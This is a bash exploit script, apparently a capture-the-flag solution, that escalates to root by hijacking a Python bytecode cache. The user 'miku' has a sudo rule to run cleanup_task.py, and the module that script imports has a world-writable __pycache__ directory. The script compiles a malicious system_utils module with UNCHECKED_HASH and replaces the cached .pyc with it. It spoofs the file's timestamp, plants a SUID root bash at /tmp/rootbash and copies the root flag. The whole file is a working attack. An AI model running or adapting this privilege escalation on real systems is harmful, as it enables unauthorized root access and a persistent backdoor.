#!/bin/bash
# ==============================================================================
# Python .pyc Hijack Privilege Escalation — Fromytoy Edition
# ==============================================================================
#
# Context:
#   Target has a sudo rule allowing miku to run as root:
#       (ALL) NOPASSWD: /usr/bin/python3 /usr/local/lib/python_scripts/cleanup_task.py
#
#   cleanup_task.py imports a module `system_utils` from the same directory.
#   The __pycache__/ subdirectory is world-writable (777).
#   We compile a malicious system_utils.py with UNCHECKED_HASH invalidation
#   mode, replace the legitimate .pyc file, and trigger the sudo command.
#
# Usage (as miku user on target):
#   chmod +x pyc-hijack-privesc.sh
#   ./pyc-hijack-privesc.sh
#
# Result:
#   /tmp/rootbash  — SUID root bash shell
#   /tmp/root_flag.txt — root flag content
# ==============================================================================

set -e

SCRIPT_DIR="/usr/local/lib/python_scripts"
PYCACHE_DIR="${SCRIPT_DIR}/__pycache__"
PYC_FILE="system_utils.cpython-39.pyc"
SUDO_CMD="sudo /usr/bin/python3 /usr/local/lib/python_scripts/cleanup_task.py"

echo "[*] Fromytoy .pyc Hijack Privilege Escalation"
echo "[*] =========================================="

# Step 1: Create malicious system_utils module
echo "[*] Step 1: Creating malicious system_utils.py..."
cat > /tmp/system_utils_mal.py << 'PYEOF'
import os

def check_disk_space():
    print("[*] Checking disk usage...")
    # Create SUID root bash
    os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")
    # Extract root flag
    os.system("cat /root/root.txt > /tmp/root_flag.txt && chmod 666 /tmp/root_flag.txt")
    print("[+] Backdoor installed")
PYEOF

# Step 2: Compile with UNCHECKED_HASH
echo "[*] Step 2: Compiling malicious .pyc (UNCHECKED_HASH mode)..."
python3 -c "
import py_compile
try:
    # UNCHECKED_HASH mode: Python trusts .pyc without re-validating
    # against the original source file. Critical for this exploit.
    py_compile.compile(
        '/tmp/system_utils_mal.py',
        cfile='/tmp/system_utils.cpython-39.pyc',
        invalidation_mode=py_compile.PycInvalidationMode.UNCHECKED_HASH
    )
    print('[+] Compiled with UNCHECKED_HASH')
except Exception as e:
    print(f'[!] UNCHECKED_HASH failed: {e}')
    exit(1)
"

# Step 3: Replace legitimate .pyc
echo "[*] Step 3: Replacing legitimate .pyc file..."
echo "[*]   __pycache__ permissions: $(stat -c '%a' ${PYCACHE_DIR})"

if [ -f "${PYCACHE_DIR}/${PYC_FILE}" ]; then
    echo "[*]   Removing existing .pyc..."
    rm -f "${PYCACHE_DIR}/${PYC_FILE}"
fi

cp /tmp/system_utils.cpython-39.pyc "${PYCACHE_DIR}/${PYC_FILE}"
touch -r "${SCRIPT_DIR}/system_utils.py" "${PYCACHE_DIR}/${PYC_FILE}"
echo "[+]   Malicious .pyc installed"

# Step 4: Trigger sudo execution
echo "[*] Step 4: Triggering sudo command..."
echo "[*]   Command: ${SUDO_CMD}"
${SUDO_CMD}

# Step 5: Verify results
echo ""
echo "[*] Step 5: Verifying results..."
if [ -f /tmp/rootbash ] && [ -s /tmp/root_flag.txt ]; then
    echo "[+] ============================"
    echo "[+] PRIVILEGE ESCALATION SUCCESS"
    echo "[+] ============================"
    echo ""
    echo "[*] SUID root bash:"
    ls -la /tmp/rootbash
    echo ""
    echo "[*] Root flag:"
    cat /tmp/root_flag.txt
    echo ""
    echo "[*] To get a root shell:"
    echo "    /tmp/rootbash -p"
else
    echo "[-] Exploit may have failed. Check manually."
fi

# Cleanup temp files
rm -f /tmp/system_utils_mal.py /tmp/system_utils.cpython-39.pyc
